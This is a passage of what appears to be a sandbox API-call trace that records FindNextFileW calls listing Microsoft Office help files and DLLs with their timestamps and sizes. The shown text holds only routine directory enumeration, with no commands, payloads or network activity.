ftLastWriteTime.dwLowDateTime=0x88e84c00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0xa3f874, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV.HXS", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e4c000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37e4c000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e4c000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37e4c000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e4c000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37e4c000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e84c00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88e84c00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x3b2c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.HXS", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXC", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33200c00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33200c00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXT", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33200c00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33200c00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33200c00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33200c00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x127f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAIN.DLL", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x589e0a00, ftCreationTime.dwHighDateTime=0x1c99224, ftLastAccessTime.dwLowDateTime=0x980ce30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x589e0a00, ftLastWriteTime.dwHighDateTime=0x1c99224, nFileSizeHigh=0x0, nFileSizeLow=0x9382, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe15bf200, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe15bf200, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x69560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.HXS", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXC", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXT", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91408700, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91408700, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x487dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV.HXS", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ddaa100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ddaa100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ddaa100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ddaa100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ddaa100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ddaa100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9271b400, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9271b400, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x1cc936, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.HXS", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe30400, ftCreationTime.dwHighDateTime=0x1c2a1b4, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8fe30400, ftLastWriteTime.dwHighDateTime=0x1c2a1b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.OPG", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXC", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXT", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8527700, ftCreationTime.dwHighDateTime=0x1c33a9f, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd8527700, ftLastWriteTime.dwHighDateTime=0x1c33a9f, nFileSizeHigh=0x0, nFileSizeLow=0x7d682, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.CHM", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x15d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTINTL.DLL", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e84c00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x88e84c00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x5f254, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE.HXS", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_COL.HXC", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_COL.HXT", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.CSS", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK1.VRD", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x866, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK2.VRD", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0xcae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK3.VRD", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaeefd00, ftCreationTime.dwHighDateTime=0x1c2c076, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeaeefd00, ftLastWriteTime.dwHighDateTime=0x1c2c076, nFileSizeHigh=0x0, nFileSizeLow=0x468, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCCMPVRD.XML", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b675400, ftCreationTime.dwHighDateTime=0x1c2c0e2, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4b675400, ftLastWriteTime.dwHighDateTime=0x1c2c0e2, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCMODVRD.XML", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde567d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xde567d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x81380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFOWCI.DLL", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6fd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS.HXS", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc74da00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc74da00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1f998, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISINTL.DLL", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_COL.HXC", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_COL.HXT", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, 